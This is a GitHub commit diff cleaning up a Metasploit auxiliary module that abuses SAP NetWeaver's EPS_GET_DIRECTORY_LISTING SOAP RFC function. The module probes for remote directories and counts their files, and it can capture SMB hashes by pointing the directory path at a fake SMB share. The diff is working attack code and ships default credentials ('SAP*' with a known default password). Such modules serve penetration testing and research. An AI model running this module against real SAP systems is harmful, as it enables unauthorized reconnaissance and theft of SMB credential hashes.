Skip to content

Commit 85581a0

Browse files
author
jvazquez-r7
committed
Clean up sap_soap_rfc_eps_get_directory_listing
1 parent 1fc0bfa commit 85581a0

File tree

1 file changed

+43
-27
lines changed

1 file changed

+43
-27
lines changed

modules/auxiliary/scanner/sap/sap_soap_rfc_eps_get_directory_listing.rb

Lines changed: 43 additions & 27 deletions
Original file line numberDiff line numberDiff line change
@@ -31,21 +31,31 @@ class Metasploit4 < Msf::Auxiliary
3131

3232
def initialize
3333
super(
34-
'Name' => 'EPS_GET_DIRECTORY_LISTING (list directory + SMB Relay)',
34+
'Name' => 'SAP SOAP RFC EPS_GET_DIRECTORY_LISTING Directories Information Disclosure',
3535
'Description' => %q{
36-
A vulnerability in the SAP EPS RFC function group allows an attacker to execute an SMB relay attack.
37-
},
38-
'References' => [['URL','http://labs.mwrinfosecurity.com']],
39-
'Author' => ['nmonkee'],
36+
This module abuses the SAP NetWeaver EPS_GET_DIRECTORY_LISTING function, on the
37+
SAP SOAP RFC Service, to check for remote directory existence and get the number
38+
of entries on it. The module can also be used to capture SMB hashes by using a fake
39+
SMB share as DIR.
40+
},
41+
'References' =>
42+
[
43+
[ 'URL', 'http://labs.mwrinfosecurity.com' ]
44+
],
45+
'Author' =>
46+
[
47+
'nmonkee'
48+
],
4049
'License' => MSF_LICENSE
41-
)
50+
)
4251

4352
register_options([
44-
OptString.new('CLIENT', [true, 'SAP client', nil]),
45-
OptString.new('USER', [true, 'Username', nil]),
46-
OptString.new('PASS', [true, 'Password', nil]),
47-
OptString.new('PATH',[true,'File path (e.g. \\\\xx.xx.xx.xx\\share)',nil])
48-
], self.class)
53+
Opt::RPORT(8000),
54+
OptString.new('CLIENT', [true, 'SAP Client', '001']),
55+
OptString.new('USERNAME', [true, 'Username', 'SAP*']),
56+
OptString.new('PASSWORD', [true, 'Password', '06071992']),
57+
OptString.new('DIR',[true,'Directory path (e.g. /etc)','/etc'])
58+
], self.class)
4959
end
5060

5161
def run_host(ip)
@@ -56,32 +66,38 @@ def run_host(ip)
5666
data << '<SOAP-ENV:Header/>'
5767
data << '<SOAP-ENV:Body>'
5868
data << '<EPS_GET_DIRECTORY_LISTING xmlns="urn:sap-com:document:sap:rfc:functions">'
59-
data << '<DIR_NAME>' + datastore['PATH'] + '</DIR_NAME>'
69+
data << '<DIR_NAME>' + datastore['DIR'] + '</DIR_NAME>'
6070
data << '</EPS_GET_DIRECTORY_LISTING>'
6171
data << '</SOAP-ENV:Body>'
6272
data << '</SOAP-ENV:Envelope>'
6373

64-
user_pass = Rex::Text.encode_base64(datastore['USER'] + ":" + datastore['PASS'])
6574
begin
66-
print_status("[SAP] #{ip}:#{rport} - sending request for #{datastore['PATH']}")
67-
res = send_request_raw({
68-
'uri' => '/sap/bc/soap/rfc?sap-client=' + datastore['CLIENT'] + '&sap-language=EN',
75+
vprint_status("#{rhost}:#{rport} - Sending request to check #{datastore['DIR']}")
76+
res = send_request_cgi({
77+
'uri' => '/sap/bc/soap/rfc',
6978
'method' => 'POST',
7079
'data' => data,
71-
'headers' =>{
72-
'Content-Length' => data.size.to_s,
80+
'authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD']),
81+
'cookie' => 'sap-usercontext=sap-language=EN&sap-client=' + datastore['CLIENT'],
82+
'ctype' => 'text/xml; charset=UTF-8',
83+
'headers' => {
7384
'SOAPAction' => 'urn:sap-com:document:sap:rfc:functions',
74-
'Cookie' => 'sap-usercontext=sap-language=EN&sap-client=' + datastore['CLIENT'],
75-
'Authorization' => 'Basic ' + user_pass,
76-
'Content-Type' => 'text/xml; charset=UTF-8',}
77-
}, 45)
78-
if res
79-
vprint_error("[SAP] #{rhost}:#{rport} - Error code: " + res.code.to_s)
80-
vprint_error("[SAP] #{rhost}:#{rport} - Error title: " + res.message.to_s)
81-
vprint_error("[SAP] #{rhost}:#{rport} - Error message: " + res.body.to_s)
85+
},
86+
'vars_get' => {
87+
'sap-client' => datastore['CLIENT'],
88+
'sap-language' => 'EN'
89+
}
90+
})
91+
if res and res.code == 200 and res.body =~ /EPS_GET_DIRECTORY_LISTING\.Response/ and res.body =~ /<FILE_COUNTER>(\d*)<\/FILE_COUNTER>/
92+
file_count = $1
93+
print_good("#{rport}:#{rhost} - #{file_count} files under #{datastore["DIR"]}")
94+
else
95+
vprint_error("#{rhost}:#{rport} - Error code: " + res.code.to_s) if res
96+
vprint_error("#{rhost}:#{rport} - Error message: " + res.message.to_s) if res
97+
vprint_error("#{rhost}:#{rport} - Error body: " + res.body.to_s) if res and res.body
8298
end
8399
rescue ::Rex::ConnectionError
84-
print_error("#{rhost}:#{rport} - Unable to connect")
100+
vprint_error("#{rhost}:#{rport} - Unable to connect")
85101
return
86102
end
87103
end

0 commit comments

Comments
 (0)